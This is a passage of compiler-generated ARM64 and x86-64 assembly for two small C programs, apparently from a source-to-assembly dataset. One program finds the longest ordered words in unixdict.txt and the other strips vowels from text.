adrp x3, l_.str.4@PAGE
add x3, x3, l_.str.4@PAGEOFF
bl ___assert_rtn
LBB1_8:
b LBB1_9
LBB1_9:
ldr x9, [sp, #8]
ldr x8, [x9, #8]
add x8, x8, #1
str x8, [x9, #8]
ldr x8, [sp, #8]
ldr x0, [x8]
ldr x8, [sp, #8]
ldr x8, [x8, #8]
mov x9, #100
mul x1, x8, x9
bl _realloc
ldr x8, [sp, #8]
str x0, [x8]
ldr x8, [sp, #8]
ldr x8, [x8]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB1_11
b LBB1_10
LBB1_10:
mov w0, #1
bl _exit
LBB1_11:
ldr x8, [sp, #8]
ldr x8, [x8]
ldr x9, [sp, #8]
ldr x9, [x9, #8]
subs x9, x9, #1
mov x10, #100
mul x9, x9, x10
add x0, x8, x9
ldr x1, [sp]
mov x2, #-1
bl ___strcpy_chk
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _array_free ; -- Begin function array_free
.p2align 2
_array_free: ; @array_free
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str x0, [sp, #8]
ldr x8, [sp, #8]
subs x8, x8, #0
cset w9, eq
; implicit-def: $x8
mov x8, x9
ands x8, x8, #0x1
cset w8, eq
tbnz w8, #0, LBB2_2
b LBB2_1
LBB2_1:
adrp x0, l___func__.array_free@PAGE
add x0, x0, l___func__.array_free@PAGEOFF
adrp x1, l_.str@PAGE
add x1, x1, l_.str@PAGEOFF
mov w2, #44
adrp x3, l_.str.2@PAGE
add x3, x3, l_.str.2@PAGEOFF
bl ___assert_rtn
LBB2_2:
b LBB2_3
LBB2_3:
ldr x8, [sp, #8]
ldr x0, [x8]
bl _free
ldr x8, [sp, #8]
; kill: def $x9 killed $xzr
str xzr, [x8]
ldr x8, [sp, #8]
str xzr, [x8, #8]
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _list_print ; -- Begin function list_print
.p2align 2
_list_print: ; @list_print
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
ldur x8, [x29, #-8]
subs x8, x8, #0
cset w9, eq
; implicit-def: $x8
mov x8, x9
ands x8, x8, #0x1
cset w8, eq
tbnz w8, #0, LBB3_2
b LBB3_1
LBB3_1:
adrp x0, l___func__.list_print@PAGE
add x0, x0, l___func__.list_print@PAGEOFF
adrp x1, l_.str@PAGE
add x1, x1, l_.str@PAGEOFF
mov w2, #52
adrp x3, l_.str.2@PAGE
add x3, x3, l_.str.2@PAGEOFF
bl ___assert_rtn
LBB3_2:
b LBB3_3
LBB3_3:
str xzr, [sp, #16]
b LBB3_4
LBB3_4: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #16]
ldur x9, [x29, #-8]
ldr x9, [x9, #8]
subs x8, x8, x9
cset w8, hs
tbnz w8, #0, LBB3_7
b LBB3_5
LBB3_5: ; in Loop: Header=BB3_4 Depth=1
ldur x8, [x29, #-8]
ldr x8, [x8]
ldr x9, [sp, #16]
mov x10, #100
mul x9, x9, x10
add x8, x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.5@PAGE
add x0, x0, l_.str.5@PAGEOFF
bl _printf
b LBB3_6
LBB3_6: ; in Loop: Header=BB3_4 Depth=1
ldr x8, [sp, #16]
add x8, x8, #1
str x8, [sp, #16]
b LBB3_4
LBB3_7:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #208
.cfi_def_cfa_offset 208
stp x29, x30, [sp, #192] ; 16-byte Folded Spill
add x29, sp, #192
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
str wzr, [sp, #80]
adrp x0, l_.str.6@PAGE
add x0, x0, l_.str.6@PAGEOFF
adrp x1, l_.str.7@PAGE
add x1, x1, l_.str.7@PAGEOFF
bl _fopen
str x0, [sp, #72]
ldr x8, [sp, #72]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB4_2
b LBB4_1
LBB4_1:
mov w8, #1
str w8, [sp, #80]
b LBB4_13
LBB4_2:
str xzr, [sp, #64]
; kill: def $x8 killed $xzr
str xzr, [sp, #56]
strb wzr, [sp, #84]
str wzr, [sp, #52]
b LBB4_3
LBB4_3: ; =>This Inner Loop Header: Depth=1
ldr x0, [sp, #72]
mov x9, sp
add x8, sp, #84
str x8, [x9]
adrp x1, l_.str.8@PAGE
add x1, x1, l_.str.8@PAGEOFF
bl _fscanf
adds w8, w0, #1
cset w8, eq
tbnz w8, #0, LBB4_12
b LBB4_4
LBB4_4: ; in Loop: Header=BB4_3 Depth=1
add x0, sp, #84
bl _strlen
ldr w8, [sp, #52]
; kill: def $x8 killed $w8
subs x8, x0, x8
cset w8, ls
tbnz w8, #0, LBB4_7
b LBB4_5
LBB4_5: ; in Loop: Header=BB4_3 Depth=1
add x0, sp, #84
bl _is_ordered_word
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB4_7
b LBB4_6
LBB4_6: ; in Loop: Header=BB4_3 Depth=1
add x0, sp, #84
str x0, [sp, #40] ; 8-byte Folded Spill
bl _strlen
mov x8, x0
str w8, [sp, #52]
add x0, sp, #56
str x0, [sp, #32] ; 8-byte Folded Spill
bl _array_free
ldr x0, [sp, #32] ; 8-byte Folded Reload
ldr x1, [sp, #40] ; 8-byte Folded Reload
bl _array_append
b LBB4_11
LBB4_7: ; in Loop: Header=BB4_3 Depth=1
add x0, sp, #84
bl _strlen
ldr w8, [sp, #52]
; kill: def $x8 killed $w8
subs x8, x0, x8
cset w8, ne
tbnz w8, #0, LBB4_10
b LBB4_8
LBB4_8: ; in Loop: Header=BB4_3 Depth=1
add x0, sp, #84
bl _is_ordered_word
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB4_10
b LBB4_9
LBB4_9: ; in Loop: Header=BB4_3 Depth=1
add x0, sp, #56
add x1, sp, #84
bl _array_append
b LBB4_10
LBB4_10: ; in Loop: Header=BB4_3 Depth=1
b LBB4_11
LBB4_11: ; in Loop: Header=BB4_3 Depth=1
b LBB4_3
LBB4_12:
ldr x0, [sp, #72]
bl _fclose
add x0, sp, #56
str x0, [sp, #24] ; 8-byte Folded Spill
bl _list_print
ldr x0, [sp, #24] ; 8-byte Folded Reload
bl _array_free
str wzr, [sp, #80]
b LBB4_13
LBB4_13:
ldr w8, [sp, #80]
str w8, [sp, #20] ; 4-byte Folded Spill
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB4_15
b LBB4_14
LBB4_14:
bl ___stack_chk_fail
LBB4_15:
ldr w0, [sp, #20] ; 4-byte Folded Reload
ldp x29, x30, [sp, #192] ; 16-byte Folded Reload
add sp, sp, #208
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l___func__.is_ordered_word: ; @__func__.is_ordered_word
.asciz "is_ordered_word"
l_.str: ; @.str
.asciz "74243.c"
l_.str.1: ; @.str.1
.asciz "word != NULL"
l___func__.array_append: ; @__func__.array_append
.asciz "array_append"
l_.str.2: ; @.str.2
.asciz "words_array != NULL"
l_.str.3: ; @.str.3
.asciz "new_word != NULL"
l_.str.4: ; @.str.4
.asciz "(words_array->len == 0) == (words_array->words == NULL)"
l___func__.array_free: ; @__func__.array_free
.asciz "array_free"
l___func__.list_print: ; @__func__.list_print
.asciz "list_print"
l_.str.5: ; @.str.5
.asciz "\n%s"
l_.str.6: ; @.str.6
.asciz "unixdict.txt"
l_.str.7: ; @.str.7
.asciz "r"
l_.str.8: ; @.str.8
.asciz "%99s\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _is_ordered_word ## -- Begin function is_ordered_word
.p2align 4, 0x90
_is_ordered_word: ## @is_ordered_word
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -16(%rbp)
cmpq $0, -16(%rbp)
setne %al
xorb $-1, %al
andb $1, %al
movzbl %al, %eax
cltq
cmpq $0, %rax
je LBB0_2
## %bb.1:
leaq L___func__.is_ordered_word(%rip), %rdi
leaq L_.str(%rip), %rsi
leaq L_.str.1(%rip), %rcx
movl $18, %edx
callq ___assert_rtn
LBB0_2:
jmp LBB0_3
LBB0_3:
movl $0, -20(%rbp)
LBB0_4: ## =>This Inner Loop Header: Depth=1
movq -16(%rbp), %rax
movslq -20(%rbp), %rcx
movsbl (%rax,%rcx), %eax
cmpl $0, %eax
je LBB0_10
## %bb.5: ## in Loop: Header=BB0_4 Depth=1
movq -16(%rbp), %rax
movslq -20(%rbp), %rcx
movsbl (%rax,%rcx), %eax
movq -16(%rbp), %rcx
movl -20(%rbp), %edx
addl $1, %edx
movslq %edx, %rdx
movsbl (%rcx,%rdx), %ecx
cmpl %ecx, %eax
jle LBB0_8
## %bb.6: ## in Loop: Header=BB0_4 Depth=1
movq -16(%rbp), %rax
movl -20(%rbp), %ecx
addl $1, %ecx
movslq %ecx, %rcx
movsbl (%rax,%rcx), %eax
cmpl $0, %eax
je LBB0_8
## %bb.7:
movl $0, -4(%rbp)
jmp LBB0_11
LBB0_8: ## in Loop: Header=BB0_4 Depth=1
jmp LBB0_9
LBB0_9: ## in Loop: Header=BB0_4 Depth=1
movl -20(%rbp), %eax
addl $1, %eax
movl %eax, -20(%rbp)
jmp LBB0_4
LBB0_10:
movl $1, -4(%rbp)
LBB0_11:
movl -4(%rbp), %eax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _array_append ## -- Begin function array_append
.p2align 4, 0x90
_array_append: ## @array_append
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -8(%rbp)
movq %rsi, -16(%rbp)
cmpq $0, -8(%rbp)
setne %al
xorb $-1, %al
andb $1, %al
movzbl %al, %eax
cltq
cmpq $0, %rax
je LBB1_2
## %bb.1:
leaq L___func__.array_append(%rip), %rdi
leaq L_.str(%rip), %rsi
leaq L_.str.2(%rip), %rcx
movl $30, %edx
callq ___assert_rtn
LBB1_2:
jmp LBB1_3
LBB1_3:
cmpq $0, -16(%rbp)
setne %al
xorb $-1, %al
andb $1, %al
movzbl %al, %eax
cltq
cmpq $0, %rax
je LBB1_5
## %bb.4:
leaq L___func__.array_append(%rip), %rdi
leaq L_.str(%rip), %rsi
leaq L_.str.3(%rip), %rcx
movl $31, %edx
callq ___assert_rtn
LBB1_5:
jmp LBB1_6
LBB1_6:
movq -8(%rbp), %rax
cmpq $0, 8(%rax)
sete %al
andb $1, %al
movzbl %al, %eax
movq -8(%rbp), %rcx
cmpq $0, (%rcx)
sete %cl
andb $1, %cl
movzbl %cl, %ecx
cmpl %ecx, %eax
sete %al
xorb $-1, %al
andb $1, %al
movzbl %al, %eax
cltq
cmpq $0, %rax
je LBB1_8
## %bb.7:
leaq L___func__.array_append(%rip), %rdi
leaq L_.str(%rip), %rsi
leaq L_.str.4(%rip), %rcx
movl $32, %edx
callq ___assert_rtn
LBB1_8:
jmp LBB1_9
LBB1_9:
movq -8(%rbp), %rax
movq 8(%rax), %rcx
addq $1, %rcx
movq %rcx, 8(%rax)
movq -8(%rbp), %rax
movq (%rax), %rdi
movq -8(%rbp), %rax
imulq $100, 8(%rax), %rsi
callq _realloc
movq %rax, %rcx
movq -8(%rbp), %rax
movq %rcx, (%rax)
movq -8(%rbp), %rax
cmpq $0, (%rax)
jne LBB1_11
## %bb.10:
movl $1, %edi
callq _exit
LBB1_11:
movq -8(%rbp), %rax
movq (%rax), %rdi
movq -8(%rbp), %rax
movq 8(%rax), %rax
subq $1, %rax
imulq $100, %rax, %rax
addq %rax, %rdi
movq -16(%rbp), %rsi
movq $-1, %rdx
callq ___strcpy_chk
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _array_free ## -- Begin function array_free
.p2align 4, 0x90
_array_free: ## @array_free
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -8(%rbp)
cmpq $0, -8(%rbp)
setne %al
xorb $-1, %al
andb $1, %al
movzbl %al, %eax
cltq
cmpq $0, %rax
je LBB2_2
## %bb.1:
leaq L___func__.array_free(%rip), %rdi
leaq L_.str(%rip), %rsi
leaq L_.str.2(%rip), %rcx
movl $44, %edx
callq ___assert_rtn
LBB2_2:
jmp LBB2_3
LBB2_3:
movq -8(%rbp), %rax
movq (%rax), %rdi
callq _free
movq -8(%rbp), %rax
movq $0, (%rax)
movq -8(%rbp), %rax
movq $0, 8(%rax)
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _list_print ## -- Begin function list_print
.p2align 4, 0x90
_list_print: ## @list_print
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -8(%rbp)
cmpq $0, -8(%rbp)
setne %al
xorb $-1, %al
andb $1, %al
movzbl %al, %eax
cltq
cmpq $0, %rax
je LBB3_2
## %bb.1:
leaq L___func__.list_print(%rip), %rdi
leaq L_.str(%rip), %rsi
leaq L_.str.2(%rip), %rcx
movl $52, %edx
callq ___assert_rtn
LBB3_2:
jmp LBB3_3
LBB3_3:
movq $0, -16(%rbp)
LBB3_4: ## =>This Inner Loop Header: Depth=1
movq -16(%rbp), %rax
movq -8(%rbp), %rcx
cmpq 8(%rcx), %rax
jae LBB3_7
## %bb.5: ## in Loop: Header=BB3_4 Depth=1
movq -8(%rbp), %rax
movq (%rax), %rsi
imulq $100, -16(%rbp), %rax
addq %rax, %rsi
leaq L_.str.5(%rip), %rdi
movb $0, %al
callq _printf
## %bb.6: ## in Loop: Header=BB3_4 Depth=1
movq -16(%rbp), %rax
addq $1, %rax
movq %rax, -16(%rbp)
jmp LBB3_4
LBB3_7:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $160, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -116(%rbp)
leaq L_.str.6(%rip), %rdi
leaq L_.str.7(%rip), %rsi
callq _fopen
movq %rax, -128(%rbp)
cmpq $0, -128(%rbp)
jne LBB4_2
## %bb.1:
movl $1, -116(%rbp)
jmp LBB4_13
LBB4_2:
movq $0, -136(%rbp)
movq $0, -144(%rbp)
movb $0, -112(%rbp)
movl $0, -148(%rbp)
LBB4_3: ## =>This Inner Loop Header: Depth=1
movq -128(%rbp), %rdi
leaq -112(%rbp), %rdx
leaq L_.str.8(%rip), %rsi
movb $0, %al
callq _fscanf
cmpl $-1, %eax
je LBB4_12
## %bb.4: ## in Loop: Header=BB4_3 Depth=1
leaq -112(%rbp), %rdi
callq _strlen
movl -148(%rbp), %ecx
## kill: def $rcx killed $ecx
cmpq %rcx, %rax
jbe LBB4_7
## %bb.5: ## in Loop: Header=BB4_3 Depth=1
leaq -112(%rbp), %rdi
callq _is_ordered_word
cmpl $0, %eax
je LBB4_7
## %bb.6: ## in Loop: Header=BB4_3 Depth=1
leaq -112(%rbp), %rdi
callq _strlen
## kill: def $eax killed $eax killed $rax
movl %eax, -148(%rbp)
leaq -144(%rbp), %rdi
callq _array_free
leaq -112(%rbp), %rsi
leaq -144(%rbp), %rdi
callq _array_append
jmp LBB4_11
LBB4_7: ## in Loop: Header=BB4_3 Depth=1
leaq -112(%rbp), %rdi
callq _strlen
movl -148(%rbp), %ecx
## kill: def $rcx killed $ecx
cmpq %rcx, %rax
jne LBB4_10
## %bb.8: ## in Loop: Header=BB4_3 Depth=1
leaq -112(%rbp), %rdi
callq _is_ordered_word
cmpl $0, %eax
je LBB4_10
## %bb.9: ## in Loop: Header=BB4_3 Depth=1
leaq -112(%rbp), %rsi
leaq -144(%rbp), %rdi
callq _array_append
LBB4_10: ## in Loop: Header=BB4_3 Depth=1
jmp LBB4_11
LBB4_11: ## in Loop: Header=BB4_3 Depth=1
jmp LBB4_3
LBB4_12:
movq -128(%rbp), %rdi
callq _fclose
leaq -144(%rbp), %rdi
callq _list_print
leaq -144(%rbp), %rdi
callq _array_free
movl $0, -116(%rbp)
LBB4_13:
movl -116(%rbp), %eax
movl %eax, -152(%rbp) ## 4-byte Spill
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB4_15
## %bb.14:
movl -152(%rbp), %eax ## 4-byte Reload
addq $160, %rsp
popq %rbp
retq
LBB4_15:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L___func__.is_ordered_word: ## @__func__.is_ordered_word
.asciz "is_ordered_word"
L_.str: ## @.str
.asciz "74243.c"
L_.str.1: ## @.str.1
.asciz "word != NULL"
L___func__.array_append: ## @__func__.array_append
.asciz "array_append"
L_.str.2: ## @.str.2
.asciz "words_array != NULL"
L_.str.3: ## @.str.3
.asciz "new_word != NULL"
L_.str.4: ## @.str.4
.asciz "(words_array->len == 0) == (words_array->words == NULL)"
L___func__.array_free: ## @__func__.array_free
.asciz "array_free"
L___func__.list_print: ## @__func__.list_print
.asciz "list_print"
L_.str.5: ## @.str.5
.asciz "\n%s"
L_.str.6: ## @.str.6
.asciz "unixdict.txt"
L_.str.7: ## @.str.7
.asciz "r"
L_.str.8: ## @.str.8
.asciz "%99s\n"
.subsections_via_symbols
| the_stack_data/74243.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
stur w0, [x29, #-8]
str x1, [sp, #16]
ldur w8, [x29, #-8]
subs w8, w8, #1
cset w8, ne
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
adrp x8, ___stdinp@GOTPAGE
ldr x8, [x8, ___stdinp@GOTPAGEOFF]
ldr x8, [x8]
str x8, [sp, #8]
adrp x8, ___stdoutp@GOTPAGE
ldr x8, [x8, ___stdoutp@GOTPAGEOFF]
ldr x8, [x8]
str x8, [sp]
ldr x0, [sp, #8]
ldr x1, [sp]
bl _disemvowel
b LBB0_9
LBB0_2:
ldur w8, [x29, #-8]
subs w8, w8, #2
cset w8, ne
tbnz w8, #0, LBB0_4
b LBB0_3
LBB0_3:
ldr x8, [sp, #16]
ldr x0, [x8, #8]
adrp x1, l_.str@PAGE
add x1, x1, l_.str@PAGEOFF
bl _fopen
str x0, [sp, #8]
adrp x8, ___stdoutp@GOTPAGE
ldr x8, [x8, ___stdoutp@GOTPAGEOFF]
ldr x8, [x8]
str x8, [sp]
ldr x0, [sp, #8]
ldr x1, [sp]
bl _disemvowel
b LBB0_8
LBB0_4:
ldur w8, [x29, #-8]
subs w8, w8, #3
cset w8, ne
tbnz w8, #0, LBB0_6
b LBB0_5
LBB0_5:
ldr x8, [sp, #16]
ldr x0, [x8, #8]
adrp x1, l_.str@PAGE
add x1, x1, l_.str@PAGEOFF
bl _fopen
str x0, [sp, #8]
ldr x8, [sp, #16]
ldr x0, [x8, #16]
adrp x1, l_.str.1@PAGE
add x1, x1, l_.str.1@PAGEOFF
bl _fopen
str x0, [sp]
ldr x0, [sp, #8]
ldr x1, [sp]
bl _disemvowel
b LBB0_7
LBB0_6:
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
mov w0, #-1
bl _exit
LBB0_7:
b LBB0_8
LBB0_8:
b LBB0_9
LBB0_9:
ldr x0, [sp, #8]
bl _fclose
ldr x0, [sp]
bl _fclose
mov w0, #0
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _disemvowel ; -- Begin function disemvowel
.p2align 2
_disemvowel: ; @disemvowel
.cfi_startproc
; %bb.0:
stp x28, x27, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w27, -24
.cfi_offset w28, -32
sub sp, sp, #2112
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-24]
str x0, [sp, #48]
str x1, [sp, #40]
ldr x3, [sp, #48]
add x0, sp, #1080
mov x1, #1
mov x2, #1024
bl _fread
mov x8, x0
str w8, [sp, #36]
b LBB1_1
LBB1_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #36]
subs w8, w8, #0
cset w8, le
tbnz w8, #0, LBB1_3
b LBB1_2
LBB1_2: ; in Loop: Header=BB1_1 Depth=1
ldr w0, [sp, #36]
add x1, sp, #1080
str x1, [sp, #24] ; 8-byte Folded Spill
add x2, sp, #56
str x2, [sp, #8] ; 8-byte Folded Spill
bl _copy_non_vowels
mov x8, x0
ldr x0, [sp, #8] ; 8-byte Folded Reload
str w8, [sp, #32]
ldrsw x2, [sp, #32]
ldr x3, [sp, #40]
mov x1, #1
str x1, [sp, #16] ; 8-byte Folded Spill
bl _fwrite
ldr x1, [sp, #16] ; 8-byte Folded Reload
ldr x0, [sp, #24] ; 8-byte Folded Reload
ldr x3, [sp, #48]
mov x2, #1024
bl _fread
mov x8, x0
str w8, [sp, #36]
b LBB1_1
LBB1_3:
ldur x9, [x29, #-24]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB1_5
b LBB1_4
LBB1_4:
bl ___stack_chk_fail
LBB1_5:
add sp, sp, #2112
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x28, x27, [sp], #32 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.globl _copy_non_vowels ; -- Begin function copy_non_vowels
.p2align 2
_copy_non_vowels: ; @copy_non_vowels
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur w0, [x29, #-4]
str x1, [sp, #16]
str x2, [sp, #8]
str wzr, [sp, #4]
str wzr, [sp]
b LBB2_1
LBB2_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp]
ldur w9, [x29, #-4]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB2_6
b LBB2_2
LBB2_2: ; in Loop: Header=BB2_1 Depth=1
ldr x8, [sp, #16]
ldrsw x9, [sp]
ldrsb w0, [x8, x9]
bl _is_vowel
tbnz w0, #0, LBB2_4
b LBB2_3
LBB2_3: ; in Loop: Header=BB2_1 Depth=1
ldr x8, [sp, #16]
ldrsw x9, [sp]
add x8, x8, x9
ldrb w8, [x8]
ldr x9, [sp, #8]
ldrsw x10, [sp, #4]
add x9, x9, x10
strb w8, [x9]
ldr w8, [sp, #4]
add w8, w8, #1
str w8, [sp, #4]
b LBB2_4
LBB2_4: ; in Loop: Header=BB2_1 Depth=1
b LBB2_5
LBB2_5: ; in Loop: Header=BB2_1 Depth=1
ldr w8, [sp]
add w8, w8, #1
str w8, [sp]
b LBB2_1
LBB2_6:
ldr w0, [sp, #4]
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _is_vowel ; -- Begin function is_vowel
.p2align 2
_is_vowel: ; @is_vowel
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
sturb w0, [x29, #-2]
ldursb w0, [x29, #-2]
bl _tolower
sturb w0, [x29, #-2]
ldursb w8, [x29, #-2]
str w8, [sp, #8] ; 4-byte Folded Spill
subs w8, w8, #97
cset w8, eq
tbnz w8, #0, LBB3_5
b LBB3_1
LBB3_1:
ldr w8, [sp, #8] ; 4-byte Folded Reload
subs w8, w8, #101
cset w8, eq
tbnz w8, #0, LBB3_5
b LBB3_2
LBB3_2:
ldr w8, [sp, #8] ; 4-byte Folded Reload
subs w8, w8, #105
cset w8, eq
tbnz w8, #0, LBB3_5
b LBB3_3
LBB3_3:
ldr w8, [sp, #8] ; 4-byte Folded Reload
subs w8, w8, #111
cset w8, eq
tbnz w8, #0, LBB3_5
b LBB3_4
LBB3_4:
ldr w8, [sp, #8] ; 4-byte Folded Reload
subs w8, w8, #117
cset w8, ne
tbnz w8, #0, LBB3_6
b LBB3_5
LBB3_5:
mov w8, #1
and w8, w8, #0x1
and w8, w8, #0x1
sturb w8, [x29, #-1]
b LBB3_7
LBB3_6:
mov w8, #0
and w8, w8, #0x1
and w8, w8, #0x1
sturb w8, [x29, #-1]
b LBB3_7
LBB3_7:
ldurb w8, [x29, #-1]
and w0, w8, #0x1
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "r"
l_.str.1: ; @.str.1
.asciz "w"
l_.str.2: ; @.str.2
.asciz "Wrong number of inputs! Try again!\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl $0, -4(%rbp)
movl %edi, -8(%rbp)
movq %rsi, -16(%rbp)
cmpl $1, -8(%rbp)
jne LBB0_2
## %bb.1:
movq ___stdinp@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -24(%rbp)
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -32(%rbp)
movq -24(%rbp), %rdi
movq -32(%rbp), %rsi
callq _disemvowel
jmp LBB0_9
LBB0_2:
cmpl $2, -8(%rbp)
jne LBB0_4
## %bb.3:
movq -16(%rbp), %rax
movq 8(%rax), %rdi
leaq L_.str(%rip), %rsi
callq _fopen
movq %rax, -24(%rbp)
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -32(%rbp)
movq -24(%rbp), %rdi
movq -32(%rbp), %rsi
callq _disemvowel
jmp LBB0_8
LBB0_4:
cmpl $3, -8(%rbp)
jne LBB0_6
## %bb.5:
movq -16(%rbp), %rax
movq 8(%rax), %rdi
leaq L_.str(%rip), %rsi
callq _fopen
movq %rax, -24(%rbp)
movq -16(%rbp), %rax
movq 16(%rax), %rdi
leaq L_.str.1(%rip), %rsi
callq _fopen
movq %rax, -32(%rbp)
movq -24(%rbp), %rdi
movq -32(%rbp), %rsi
callq _disemvowel
jmp LBB0_7
LBB0_6:
leaq L_.str.2(%rip), %rdi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _printf
movl $-1, %edi
callq _exit
LBB0_7:
jmp LBB0_8
LBB0_8:
jmp LBB0_9
LBB0_9:
movq -24(%rbp), %rdi
callq _fclose
movq -32(%rbp), %rdi
callq _fclose
xorl %eax, %eax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _disemvowel ## -- Begin function disemvowel
.p2align 4, 0x90
_disemvowel: ## @disemvowel
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $2096, %rsp ## imm = 0x830
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movq %rdi, -2072(%rbp)
movq %rsi, -2080(%rbp)
leaq -1040(%rbp), %rdi
